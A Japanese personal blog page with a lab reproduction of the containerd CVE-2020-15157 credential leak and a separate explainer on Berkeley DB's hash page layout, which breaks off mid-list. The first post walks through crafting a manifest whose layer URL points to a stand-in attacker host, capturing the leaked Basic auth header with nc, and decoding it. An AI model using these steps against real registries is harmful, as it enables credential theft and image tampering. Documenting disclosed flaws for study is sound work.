knqyf263's blog

自分のためのメモとして残しておくためのブログ。

CVE-2020-15157 (ContainerDrip) を試す

Write-up公開直後に試してたんですが、諸事情で公開を待っていたやつです(後述)。

概要

9, 10月と専業主婦をやっていてしばらく今日の献立しか頭になかったのでリハビリがてら簡単そうな脆弱性を触ってみました。

ContainerDripという名前から想像されるようにcontainerd脆弱性です。発見者が丁寧に解説も書いてくれています。2020/10/15に公開されています。

darkbit.io

ということで概要は上のブログを見れば理解できます。簡単に説明すると、containerdのctrコマンドで細工されたイメージをpullする時に認証情報を誤って流出させてしまうという脆弱性です。攻撃者の用意したイメージをpullしないといけないので外部からの能動的な攻撃が可能なわけではなく即座に危険ということはないですが、それでもpullするだけで刺さってしまうので攻撃実現性が著しく低いわけでもありません。

認証情報が流出すれば攻撃者はレジストリに任意のイメージをpush可能になるので、イメージにバックドアを仕込まれたり仮想通貨マイナーを仕込まれたりしますし、クラウドサービスの設定によっては他のAPIを叩けてしまう可能性もあります(後述)。

こちらにも解説ブログがありますので一応載せておきます。

blog.aquasec.com

脆弱性詳細

コンテナイメージはコンテナレジストリに保存されるわけですが、大きく分けてマニフェスト・コンフィグ・レイヤーの3つで構成されています。マニフェストというのはレジストリにおけるそのイメージのメタ情報を含んでいて、レイヤーのハッシュ値とかが書いてあります。クライアントはまず最初にマニフェストを取得し、次にハッシュ値に応じたレイヤーを取りに行くという流れでイメージのpullは行われています。普段docker pullするだけで中がどうなってるのか分からない人は挙動を理解するためのブログがあるのでそちらを併せて見てください。

knqyf263.hatenablog.com

このレジストリAPIで使われるマニフェストは以下で仕様が定義されています。

docs.docker.com

マニフェストの例は以下のようになります。

{
    "schemaVersion": 2,
    "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
    "config": {
        "mediaType": "application/vnd.docker.container.image.v1+json",
        "size": 7023,
        "digest": "sha256:b5b2b2c507a0944348e0303114d8d93aaaa081732b86451d9bce1f432a537bc7"
    },
    "layers": [
        {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 32654,
            "digest": "sha256:e692418e4cbaf90ca69d05a66403747baa33ee08806650b51fab815ad7fc331f"
        },
        {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 16724,
            "digest": "sha256:3c3a4604a545cdc127456d94e421cd355bca5b528f4a9c1905b15da2eb4a4c6b"
        },
        {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 73109,
            "digest": "sha256:ec4b8955958665577945c89419d1af06b5f7636b4ac3da7f12184802ad867736"
        }
    ]
}

先ほど説明したようにlayersの下に3つの要素があり、それぞれにdigestが存在しています。ここから3つのレイヤーでイメージが構成されていることが分かります。これは通常のマニフェストなのですが、実は先程のページ内でlayersの下に定義可能なフィールドが実は4つあることが分かります。例ではmediaType, size, digestの3つしかないですが、urlsというフィールドも定義されています。

f:id:knqyf263:20201030160013p:plain

urlsのフィールドの説明には以下のように書いています。

Provides a list of URLs from which the content may be fetched. Content should be verified against the digest and size. This field is optional and uncommon.

通常であればマニフェストと同じサーバにレイヤーも存在するわけですが、urlsを指定した場合はクライアントに別サーバに取得しにいかせることが可能ということです。This field is optional and uncommon. といかにもセキュリティリサーチャーが好きそうなことが書いてあります。"ここに脆弱性がありまぁす"と宣言しているようなものです。

自分はcurlでpullをするブログでもこのドキュメントに触れていますし、定期的に読んでいるので2万回以上は見ています。なのでurlsの存在ももちろん知っていたのですが最近は能動的に脆弱性を探すことはしないポリシーなので普通にスルーしちゃっていました。自分もある時点からOSS開発者という自覚を持つようになってしまったので、他OSS脆弱性を見つけると動悸がするんですよね...

ということで今回の脆弱性はこのurlsを悪用したものとなっています。ctrによって認証情報が流出するのは以下の流れです。

  1. ctrレジストリAからイメージのマニフェストをダウンロードする(この時仮に認証情報Xを使うとする)
  2. 取得したマニフェストurlsを含んでおり、レジストリBを指している
  3. ctrはレイヤーをレジストリBから取得しようとする(認証情報なし)
  4. レジストリBは401 Unauthorizedを返す
  5. ctrは誤って認証情報XをレジストリBに送ってしまう

認証情報XというのはレジストリAのためのものであって、それを誤ってレジストリBに送ってしまえばレジストリBの所有者に見られてしまいます。つまり、攻撃者が自分の用意したサーバをurlsに指定して、その細工したマニフェストを持つイメージをpullさせれば自分の用意したサーバに認証情報Xを送らせることが可能ということです。その後は得た認証情報XでレジストリAにログインして悪の限りを尽くせば完了です。

ここで、先程の発見者によるブログでは現実的なシナリオとしてGKEを挙げています。cos_containerdをノードとして利用するとGKEクラスタcontainerdが使用できます。

cloud.google.com

そしてGKE上から攻撃者がGCRに用意したイメージをpullさせます。

---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: honk
  labels:
    app: honk
spec:
  replicas: 1
  selector:
    matchLabels:
      app: honk
  template:
    metadata:
      name: honk
      labels:
        app: honk
    spec:
      containers:
        - name: honk
          image: gcr.io/my-project-name/myimage:latest
          imagePullPolicy: Always

この時、GCRからイメージをpullするためにGKEクラスターにアタッチされたService Accountを利用します。

cloud.google.com

このService Accountが攻撃者に流出するということになります。ただしGKEではscopeを絞っているらしく、デフォルトでは権限はそこまで強くないとのことです。

cloud.google.com

ここら辺の設定で強めの権限を付与してしまっていたりすると、レジストリの認証情報流出にとどまらずアカウント乗っ取りにつながる可能性があるということです。詳細が気になる人は発見者ブログを見て下さい。

ということで詳細の説明終わりです。

試す

解説見てふーんで終わりだと面白くないので自分で試してみましょう。

Docker Registry作成

まずレジストリが必要なのでコンテナで起動します。自前でDocker RegistryをホスティングできるようにOSSレジストリがDockerから提供されています。

docs.docker.com

単に起動するだけなら registry:2 をdocker runすれば良いのですが、今回は認証ありにしたいので最初にhtpasswdを用意します。

$ export AUTH_DIR=$(mktemp)
$ docker run --rm --entrypoint htpasswd registry:2.7.0 -Bbn testuser testpassword > $AUTH_DIR/htpasswd

testuser:testpasswordでhtpasswdを作成しました。ちなみにドキュメントではregistry:2でhtpasswdを打ってますが、最新のイメージだとhtpasswdが入ってなくて動きません。なので2.7.0を指定しています。Request docs changesから修正リクエスト出せるので、貢献するチャンスかもしれません。

では起動します。

$ docker run -d \
  -p 5000:5000 \
  --restart=always \
  --name registry \
  -v $AUTH_DIR:/auth \
  -e "REGISTRY_AUTH=htpasswd" \
  -e "REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm" \
  -e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd \
  registry:2.7.0

これでDocker Registryの起動は終わりです。

イメージのpush

先程立ち上げたDocker Registryに適当なイメージをpushしましょう。

$ docker pull alpine:3.11
$ docker tag alpine:3.11 localhost:5000/alpine:3.11
$ docker push localhost:5000/alpine:3.11
The push refers to repository [localhost:5000/alpine]
3e207b409db3: Preparing
no basic auth credentials

設定したとおり、認証が必要になっています。ということでdocker loginします。

$ echo testpassword | docker login localhost:5000 -u testuser --password-stdin
Login Succeeded

改めてpushします。

$ docker push localhost:5000/alpine:3.11
...
3.11: digest: sha256:39eda93d15866957feaee28f8fc5adb545276a64147445c64992ef69804dbf01 size: 528

エラーが出なければOKです。

マニフェストの確認

マニフェストを確認してみます。

$ curl -s -u "testuser:testpassword" -H "Accept: application/vnd.docker.distribution.manifest.v2+json" http://localhost:5000/v2/alpine/manifests/3.11
 | jq .
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 1507,
    "digest": "sha256:f70734b6a266dcb5f44c383274821207885b549b75c8e119404917a61335981a"
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 2813316,
      "digest": "sha256:cbdbe7a5bc2a134ca8ec91be58565ec07d037386d1f1d8385412d224deafca08"
    }
  ]
}

Acceptヘッダーを指定しないとv1のマニフェストが返ってきちゃうので気をつけて下さい。認証が必要なので-uオプションで渡しています。JSONを見て分かる通り、digestが指定されています。これを細工します。

マニフェストの更新

上のマニフェストを保存してdigestを削除しurlsを足します。今回は http://localhost:10000 を用意しています。面倒なので両方localhostでやっていますが、これは実際には別サーバだと思って下さい。

$ cat manifest.json
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 1507,
    "digest": "sha256:f70734b6a266dcb5f44c383274821207885b549b75c8e119404917a61335981a"
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 2813316,
      "urls": [
        "http://localhost:10000"
      ]
    }
  ]
}

これをレジストリにPUTします。

curl -s -u "testuser:testpassword" -H "Content-type: application/vnd.docker.distribution.manifest.v2+json" -XPUT -d@manifest.json http://localhost:5000/v2/alpine/manifests/3.11

これで準備OKです。うまく設定できたかもう一度GETで確かめても良いと思います。

攻撃者のサーバを準備する

では攻撃者サーバ想定である http://localhost:10000 を用意します。これは単にncで良いです。

$ nc -kl 10000

ctrでpullする

自分が使ったバージョンは以下です。

$ ctr -v
ctr containerd.io 1.2.13

ctrでpullします。認証が必要なので--userで渡しています。

$ ctr image pull --user testuser:testpassword localhost:5000/alpine:3.11

するとncしていた方には以下のようなリクエストが飛んできます。

GET / HTTP/1.1
Host: localhost:10000
User-Agent: containerd/1.2.13
Accept: application/vnd.docker.image.rootfs.diff.tar.gzip, *
Accept-Encoding: gzip

まだ認証情報は飛んできていません。攻撃者サーバで401 Unauthorizedを返す必要があります。

401を返す

適当に以下のようなファイルを用意します。

$ cat response.txt
HTTP/1.0 401 Unauthorized
Docker-Distribution-Api-Version: registry/2.0
Www-Authenticate: Basic realm="Registry Realm"

あとはこれをncに渡してレスポンスとして返すようにすればOKです。

$ ( cat response.txt ) | nc -kl 10000

再度ctrでpullをするとまず通常のリクエストが飛んできて、401を返したあと以下のリクエストが来ます。

$ ( cat response.txt ) | nc -kl 10000
...

GET / HTTP/1.1
Host: localhost:10000
User-Agent: containerd/1.2.13
Accept: application/vnd.docker.image.rootfs.diff.tar.gzip, *
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3N3b3Jk
Accept-Encoding: gzip

Authorization ヘッダが含まれていることが分かります。

$ echo dGVzdHVzZXI6dGVzdHBhc3N3b3Jk | base64 -d
testuser:testpassword

ということで無事にusername/passwordを取得できました。攻撃者は認証情報を得たのであとは好きにレジストリを操作できます。

余談

この検証自体はすぐに終わってブログも公開しようと思ったのですが、実はこの脆弱性を検証している時に某OSSに別の脆弱性を見つけてしまいました。念のためmasterから落としてきてソースコードを読んでデバッガでも試したのですが、やはり刺さる作りになっていましたし再現しました。そこそこインパクトのあるものでしたし見つけてしまった以上は報告しておくかということで報告したのですが、既知で修正に取り組んでいるとのことでした。じゃあその修正が公開されたらブログも公開しようということでしばらく待っていたのですが、リリースまで時間がかかりそうだったのでそちらの詳細は伏せて先にブログは公開することにしました。

そちらの脆弱性修正がリリースされたらこのブログに追記するかもしれません。

まとめ

よく知らないイメージをpullするだけでも怖いということです

Berkeley DB (Hash) の実装

普段あまりこういう誰の役に立つのか分からない記事は書かないのですが、解析をするまでの背景がOSSに関するとても良い話なので重い腰を上げて書きました。

概要

古のアプリケーション組み込み型のデータベースとしてBerkeley DBがあります。元々はカリフォルニア大学バークレー校によって開発され、その後Oracleによって買収されています。データ操作にSQLは使えず、アプリケーションに埋め込んで使用します。RDBまでは必要ないけどちょっとしたDBが必要みたいな時に使われているようです。機能はシンプルで組み込みのため性能も良いとのこと。詳しくは以下に書いてます。

docs.oracle.com

本記事ではそのBerkeley DBの中身がどのように実装されているのかの雰囲気を記します。Berkeley DBはBtree accessやHash access, Queue/Recno accessなどがサポートされていますが、今回はその中でもHash accessの場合にDBがどのようにデータを保存しているのかを説明しています。恐らくこの内容を知りたい人は日本に数人しかいないと思いますが、自分がすぐ忘れそうなのでメモとして残します。Berkeley DBのライブラリをRustに移植したい!という人がいたら役に立つかもしれません。

Hash accessの中でも必要な処理しか説明していません。ただ、大枠が理解できれば細かいところはBerkeley DBのソースコード読めば理解できるので、まず最初に雰囲気を掴むためには適した内容だと思います。

ソースコードは以下にあります。

github.com

あと上にも書いたように実装はシンプルですし似たような構造になっているDBは多いので、Berkeley DBを触ることが一生なくても知っておくと何か役立つかもしれません。

背景

ただの背景なので読み飛ばして実装に行って良いですが、良い話なので暇なら見てみて下さい。

Red Hat系のOSには /var/lib/rpm/Packages というファイルが存在し、この中にインストールされたRPMパッケージの情報などが保存されています。rpm コマンドや dnf, yum はこのファイルからデータを読み出して表示しているわけですが、このファイルはBerkeley DBになっています。libdb を使えば普通に読み出せるのですが、自分の用途ではGoからこのファイルを読み出す必要がありました。libdb はCで実装されていてGoから使うためには cgo が必要になります。実際ライブラリを見つけたのですがやはり cgo を使っていました。そもそもメンテナンスされていなくてアーカイブされています。

github.com

仕方ないのでforkしていくつか機能を足して使っていたのですが、やはり cgo がネックになりました。色んな環境で動くバイナリを提供したかったのですがcgoのせいでそれが困難になりました。一応頑張ってクロスコンパイル環境を用意したりしたのですが、これを今後メンテナンスすることを考えると負荷が高すぎるなと思ってやめました。

github.com

さらにもう一つ問題がありました。試しに cgo を使って上の /var/lib/rpm/Packages からデータを読みだしたところ、その中の値も何とバイナリになっていました。独自の形式でシリアライズされているという感じです。他のディストリビューションが分かりやすい形式で保存しているのに比べてBerkeley DBを使い、さらにその上に独自フォーマットということでさすがRed Hatだなと思ったりはしたのですが、気合でrpmをリバース・エンジニアリングしました(この話もいつか書くかもしれません)。調べた限りではドキュメントも見つからなかったですし、ソースコードを読んだ方が早いし確実だなということで。

github.com

そしてGoに移植して必要な情報が取り出せるようなライブラリを実装しました。

github.com

さて次はBerkeley DBを倒すぞ〜と意気込んだのですが、本来自分が作りたかったソフトウェアから大分遠のいていることに気づきました。このヤクの毛刈りこそがプログラミングの楽しいところだとは思いつつも、GWの10日間で元々のソフトウェアを完成させたかったのでBerkeley DBのGo移植は一旦断念しました。そして悔し涙を流しながらrpmのOSコマンドを呼び出すように実装しました。Go移植は次の長期休暇に絶対やることとして掲げていたのですが、その直後にイスラエルに引っ越して長期休暇がないまま1.5年が経過しました。イスラエルの祝日はユダヤ暦ベースなので今年はグレゴリオ暦の週末とぶつかってほとんど消滅しました。

ということでずっとしこりとして残っていたのですが、先日Anchoreというセキュリティ企業(自分の務めている企業の競合企業)がSyftGrypeというOSSをリリースしました。

www.opensourceforu.com

このOSSは自分が開発したものと似ているのですが、Red HatRPM実装がどうなっているのか気になりました。そして Syft の中で自分の go-rpmdb をforkしたものを使っていることがわかりました。そのコミットを見ると何とCバインディングを排除することに成功していました!どうやらBerkeley DBのGo移植に成功したようです。おいおいそんな凄いことやったならPRくれよ〜〜〜と思ったのですが、普通に送ってくれていました。

github.com

何かGitHubのWatchingが勝手に外れて通知来ないことがあるんですが自分だけでしょうか...。最近通知に気づけなくて放置になってしまっていることが多くて大変申し訳無い気持ちです。何はともあれせっかくBerkeley DBのGo移植をしてくれたので自分も送ってもらったPRを読みつつlibdbのコードを読みました。その中で得た知識を速攻忘れそうだったので今回まとめておこう、という背景です。

それにしてもこれだけの機能を外部の人、それどころかバリバリの競合企業の社員が実装してPRを送ってくれるなんてOSSは本当に素晴らしいなと思いました。恐らく彼もrpmの解析が面倒で困っていたら既に自分が解析してGo移植済みだったので、それならということで残タスクのBerkeley DB対応をしてくれたのだと思います。助け合いの精神ですね。PRに気づいた時に喜びのあまりドッグランで「う、うおおぉぉぉ!!!」と大声を出してしまいました。イスラエルでは路上で歌ったりしている人も多いのでちょっと大声を出しても変人扱いはされません。

ちなみに実装してくれた人はdiveという有名なツールの開発者です。もしかしたら知らない人もいるかも知れないので宣伝しておきます。GitHubのスター数が23kで化け物ですね。

github.com

彼は最近Anchoreに入社したようです。入社してからSyftやGrype作ったりBerkeley DB移植したりと大活躍です。AnchoreはあまりOSSに力を入れてこなかったので今まで意識していなかったのですが、彼の入社によって今後は脅威となりそうです。

ちなみにGrypeもバージョン比較のためにClair同様自分のライブラリを使っています。

実装

背景で話した感動が一番伝えたかったことなので長くなりましたが、実装の説明に入ります。上にも書きましたがHashのみの話ですし、その中でもTypeがたくさんあるのですが実装に必要なところしか説明しません。

何かドキュメントを読み解いたわけではなくソースコードを読んで解析しただけなので嘘を言っている可能性もあると思いながら見ていただければと思います。

全体

まずDB全体はPage単位で区切られています。それぞれのPageの先頭にはPageのTypeを識別したりするためのHeaderが入っています。

0       PageSize                       LastPageNo * PageSize
+----------+----------+----------+----------------+
|   Page   |          |          |     ......     |
+----------+----------+----------+----------------+

このPageSizeは可変な値で後述するGeneric Metadataの中に含まれています。値は512, 1024, 2048, ... 65536が許されています。512が最小なのは各Access methodのMetadataの最小サイズが512だからです(後で説明します)。そして同様にLastPageNoもMetadata内に含まれており、LastPageNo * PageSizeがDB全体のサイズとなります。

Metadata

上で説明した各PageのHeaderとは別にDBの一番最初にはMetadataが含まれています。こちらは72バイトで固定になっており、ソースコード上で _dbmeta33 として定義されています。Generic Metadataと呼ばれています。

typedef struct _dbmeta33 {
    DB_LSN    lsn;      /* 00-07: LSN. */
    db_pgno_t pgno;     /* 08-11: Current page number. */
    u_int32_t magic;   /* 12-15: Magic number. */
    u_int32_t version; /* 16-19: Version. */
    u_int32_t pagesize;    /* 20-23: Pagesize. */
    u_int8_t  encrypt_alg; /*    24: Encryption algorithm. */
    u_int8_t  type;        /*    25: Page type. */
    ...

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

一番最初のPageに入っているので以下のようになります。

0                 72            PageSize
+------------------+---------------+
| Generic Metadata |               |
+------------------+---------------+

Generic Metadata

Generic Metadataのレイアウトは以下のようになっています。

0       12      16      20       24           25         26  32       36                  72
+--------+-------+-------+--------+------------+----------+---+--------+-------------------+
|        | Magic |       |  Page  | Encryption | PageType |   |  Last  |      .......      |
|        |       |       |  Size  | Algorithm  |          |   | PageNo |                   |
+--------+-------+-------+--------+------------+----------+---+--------+-------------------+

既にお気づきだと思いますが、上の図は雰囲気理解するために書いているので長さとかは適当です。文字数の関係で1バイトのほうが4バイトより長かったりまちまちです。あまり図を信じ過ぎないで下さい。

ここにあるMagicがMagic numberで、最初にDBのAccess methodをを判断するために使われています。Hashの場合は 0x061561 になっています。

#define DB_HASHMAGIC    0x061561

libdb/db.in at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

ところでなぜこのような大きい値が使われているのかよく分かっていません。0,1,2,...などだとDB破損時に隣接したAccess methodと誤って判別されてしまうからなのでしょうか。こういう細かいテクニックは地味ですが重要だと思うので知っている人がいたら教えてほしいです。

Access methodは全部で5種類あるようです。UNKNOWNを入れると6種類。

/*******************************************************
 * Access methods.
 *******************************************************/
/*
 * Any new methods need to retain the original numbering.  The type
 * is written in a log record so must be maintained.
 */
typedef enum {
    DB_BTREE=1,
    DB_HASH=2,
    DB_HEAP=6,
    DB_RECNO=3,
    DB_QUEUE=4,
    DB_UNKNOWN=5           /* Figure it out on open. */
} DBTYPE;

libdb/db.in at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

他にもPageTypeなどが含まれているため、ここでHash metadata pageであること(=P_HASHMETA)を確認したりする必要もあります。

#define P_HASHMETA  8  /* Hash metadata page. */

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

Encryption Algorithmもあることから暗号化にも対応していることが分かります。RPM DBでは暗号化されていない想定なので、この値が0(つまり暗号化されていない)であることを確かめる必要があります。

NextPageNoは後々出てきます。

そして最初の説明に出てきたPageSizeやLastPageNoもここに含まれています。最初の72バイトをパースすることでDBの全体像を最初に掴めるということです。

Magicの話に戻りますが、Access methodごとにMetadataの構造体が用意されており、B-Tree用、Hash用、Heap用、などなど複数存在するのですが、全て先頭72バイトは上のGeneric Metadataになっており73バイト目以降が各method固有の値になります。Hashの場合は以下に _hashmeta33 として定義されています。コメント内にもMinimum page size is 512 と書いてあり最初に述べたように512バイトになっているのが分かると思います。

/************************************************************************
 HASH METADATA PAGE LAYOUT
 ************************************************************************/
typedef struct _hashmeta33 {
    ...

    /*
    * Minimum page size is 512.
    */
} HMETA33, HMETA;

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

Hash Metadataの場合は以下のようになります。先頭の72バイトは共通で、そこから512バイトまで固有のMetadataになっています。

0                 72                       512
+------------------+------------------------+
| Generic Metadata |    Hash Metadata   ... |
+------------------+------------------------+

B-TreeなどのMetadataも全て512バイトになっています。

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

Hash Metadata

最初に説明したようにDBは全てPageで区切られているためHash MetadataであってもPageに含まれています。単に先頭512バイトにHash Metadataがあるということです。

0              512              PageSize
+---------------+------------------+
| Hash Metadata |    ......        |
+---------------+------------------+

Hash Metadataの中身は大きいので割愛します。上のソースコードに書いてある通りです。

Page

最初に述べたように、各PageにはHeaderが含まれています。このHeaderは26バイトなのですが、26バイト目にTypeが含まれています。上のGeneric Metadataの26バイト目もTypeにしてあるなど、1ページ目を特別扱いせずにTypeが判別できるように配置がある程度共通化されています。

0       26                     PageSize
+--------+-------------------------+
| Header |                         |
+--------+-------------------------+

PageのHeaderレイアウトは_db_pageとして定義されています。

typedef struct _db_page {
    DB_LSN    lsn;      /* 00-07: Log sequence number. */
    db_pgno_t pgno;     /* 08-11: Current page number. */
    db_pgno_t prev_pgno;    /* 12-15: Previous page number. */
    db_pgno_t next_pgno;    /* 16-19: Next page number. */
    db_indx_t entries;  /* 20-21: Number of items on the page. */
    db_indx_t hf_offset;    /* 22-23: High free byte page offset. */
    ...
    u_int8_t  level;   /*    24: Btree tree level. */
    u_int8_t  type;        /*    25: Page type. */
} PAGE;

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

PageTypeが13の場合はHash pageになります。

#define P_HASH      13 /* Sorted hash page. */

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

上の定数定義を見ると他にもPageTypeが複数あることが分かりますが、今回はHashがターゲットなのでHash Pageを見ていきます。他のAccess methodに対応したい場合はそれに応じたstructを追っていけば良いです。

ややこしいですが他にもHash Pageという概念が出てくるので、ここではHash Main Pageと呼びます。

Hash Main Page

とは言ってもHeaderのレイアウトは共通で、以下のようになっています。先述したとおり、26バイト目がPageTypeになっています。

       10           20           22                25         26
+-------+------------+------------+-----------------+----------+
|       | NextPageNo | NumEntries |      ...        | PageType |
+-------+------------+------------+-----------------+----------+

NumEntriesはこのページ内に含まれているアイテム数です。Hashなのでkey/valueのペア数になります。このkey/valueはHeader直後などに保存されているわけではなく、基本的にはポインタを辿ってアクセスします。ただややこしいのですが、データサイズが大きい場合はkey/valueの指す先がHashOffPageという形式でさらに別のPageにデータを格納している場合もあります。ポインタのポインタみたいなやつです。

ソースコード上にHash Pageのレイアウトが書いてあったので一応そちらも載せておきます。

/************************************************************************
 BTREE/HASH MAIN PAGE LAYOUT
 ************************************************************************/

+-----------------------------------+
|    lsn    |   pgno    | prev pgno |
+-----------------------------------+
| next pgno |  entries  | hf offset |
+-----------------------------------+
|   level   |   type    |   chksum  |
+-----------------------------------+
|    iv     |   index   | free -->  |
+-----------+-----------------------+
|    F R E E A R E A            |
+-----------------------------------+
|              <-- free |   item    |
+-----------------------------------+
|   item    |   item    |   item    |
+-----------------------------------+

これを見るとlsnやpgnoが同じサイズのように表現されていますがそれぞれ8バイトと4バイトですし、自分の図以上に長さ適当な気がします。

コメントには以下のようにあります。

  • sizeof(PAGE) == 26 bytes + possibly 20 bytes of checksum and possibly
  • 16 bytes of IV (+ 2 bytes for alignment), and the following indices
  • are guaranteed to be two-byte aligned. If we aren't doing crypto or
  • checksumming the bytes are reclaimed for data storage.

key/valueへのポインタが入っているといいましたが、ここではindexと呼ばれています。そしてindexは現在のPage内でのオフセットを指しています。なのでポインタとは異なりますが、一旦ジャンプする必要があるということでポインタとして説明しています。

26バイトのHeaderのあとにchksumivが入り、アラインメントのために2バイトが入ってそのあとにindicesが入るようです。ただし暗号化されていない場合はこれらchksumivは含まれないと思います。ちゃんとソースコード上で見つけてないのですが、中身のバイナリを見る限りでは詰めて値が保存されていました。英語でもpossiblyと言っているので恐らくあってると思うのですが若干自信なしです。

ということで26バイトのMetadataのあとにNumEntries分のkey/valueペアのindexが保存されていることになります。keyとvalueのindexはともに2バイトなので、1ペアにつき4バイトです。つまり、26バイトから26+4*NumEntriesバイトのところまでパースし、2バイトずつ解釈すればkey/valueのindexが得られます。

          26    26+4*NumEntries       PageSize
+----------+---------+-------------------+
| Metadata | Indices |                   |
+----------+---------+-------------------+

上の説明で既にわかったかと思いますが、一応key/valueのレイアウトも載せておきます。

              2             4            6              8          4*NumEntries
+-------------+-------------+-------------+-------------+----------------+
|  Key Index  | Value Index |  Key Index  | Value Index |      ...       |
+-------------+-------------+-------------+-------------+----------------+

このindexは現在のPageの後ろの方に含まれるHash Pageへのポインタとなっています。ソースコードを読む感じだとこのPage全体のことをHash Main Pageと呼び、このPageの中に入っている小さいPageのことをHash Pageと呼んでいそうです。両方Pageと書いてあったので最初かなり混乱しました。つまり以下のような図になります。IndexとIndex2の間は連続しているかはわからないです。

          26   26+2*NumEntries   Index      Index2           PageSize
+----------+---------+-------------+----------+----------+-------+
| Metadata | Indices |             | HashPage | HashPage |  ...  |
+----------+---------+-------------+----------+----------+-------+

このHash Pageのところにkey/valueの値が入っているということになります。

Hash Page

Hash Pageについてのレイアウトはソースコード上にありました。

 *   +-----------------------------------+
 *  |    type   | key/data ...          |
 *  +-----------------------------------+

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

最初の1バイトがTypeになっており、この値を見て判断します。Typeは以下のようなものがあります。

/* Each index references a group of bytes on the page. */
#define    H_KEYDATA   1  /* Key/data item. */
#define    H_DUPLICATE 2  /* Duplicate key/data item. */
#define    H_OFFPAGE   3  /* Overflow key/data item. */
#define    H_OFFDUP    4  /* Overflow page of duplicates. */

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

上では自分が慣れているkey/valueという呼び方をしていましたが、Berkeley DB上ではkey/dataと呼ばれています。H_KEYDATA の場合は実際のデータがそのHash Page内に含まれているため、2バイト目のデータ長を使ってデータを取り出せるようになっています。

typedef struct _hkeydata {
    u_int8_t  type;        /*    00: Page type. */
    u_int8_t  data[1];    /* Variable length key/data item. */
} HKEYDATA;

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

そして上のType内に H_OFFPAGE がありますが、これはOverflowと書いてあることから察するようにHash Pageで表現できないような値を保存するためのTypeになります。どちらかと言うとこちらがメインです。

Hash Off Page

Hash Off Pageは _hoffpage というstructで定義されています。pgnoというのが重要で、これは値が実際に保存されているPageの番号になります。ここでいうPageはMain Page相当のもので、現在のHash Main Pageの外側にあるということになります。

typedef struct _hoffpage {
    u_int8_t  type;        /*    00: Page type and delete flag. */
    u_int8_t  unused[3];  /* 01-03: Padding, unused. */
    db_pgno_t pgno;     /* 04-07: Offpage page number. */
    u_int32_t tlen;        /* 08-11: Total length of item. */
} HOFFPAGE;

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

つまり以下の図のようにDBの先頭から見た際にpgno * PageSizeの場所に求めているHashのkey/dataが保存されているということです。

0                 pgno*PageSize        LastPageNo * PageSize
+----------+----------+----------+----------------+
|   Page   |          | HashPage |     ......     |
+----------+----------+----------+----------------+

Hash Main Page (Overflow)

pgno * PageSizeの場所を読めばいいのですが、ここに保存されているのは上で説明したHash Main Pageと同じレイアウトです。ただし、Typeが P_OVERFLOW になっています。

/* Page types. */
...
#define P_OVERFLOW  7   /* Overflow. */

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

Overflow Pageのレイアウトについての説明は以下にありますが、Headerの後ろにデータがあるだけのシンプルなものです。

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

図にすると以下のようになります。

        26                     PageSize
+--------+-------------------------+
| Header |        key/data         |
+--------+-------------------------+

ただし、データサイズが大きいとこのPageでも収まらないかもしれません。そういう場合にHeader内にはNextPageNoが含まれています。上の方の図で出てきましたがまだ使われていませんでした。このNextPageNoPGNO_INVALID(=0)の場合はそのPageが最後になりますが、0以上の値が入っている場合はそちらのPageにも続きのデータが入っているのでそちらのPageに含まれるデータもパースして結合する必要があります。

PGNO_INVALIDの場合はデータが途中で終わっているということなので、Header内に含まれるFreeAreaOffsetを使ってデータの長さ分を取り出します。

ということでデータが取り出せたので終了です。

処理の流れ

改めてHash accessでデータを取り出すまでの流れを簡略化したものを説明します。

  1. 先頭512バイトのHash Metadata(そのうちの72バイトがGeneric Metadata)をパースし、Magic, PageSize, Encryption Algorithm, PageType, LastPageNoを取得する
  2. Magic numberを見てHash accessであることを確認。異なれば終了。
  3. 1ページ目は上のMetadata用なので2ページ目(2 * PageSize)から最後のページ(LastPageNo * PageSize)をパースする
    1. Pageの先頭26バイトにHeaderが入っているのでパースし、26バイト目のPageTypeを確認する
    2. PageTypeがHash Main PageならNumEntriesを取り出す。異なればskip。
    3. NumEntriesはkey/dataのペア数を指しており、Headerの後ろにkey/dataの実際の値へのindexが保存されている
      1. Indicesの処理
        1. keyとdataのindexは2バイトでペアで4バイトになっているので、Headerの後ろから4 * NumEntriesを取り出す
        2. 2バイトずつkey, dataそれぞれのIndexとして解釈する
      2. Hash Pageの処理
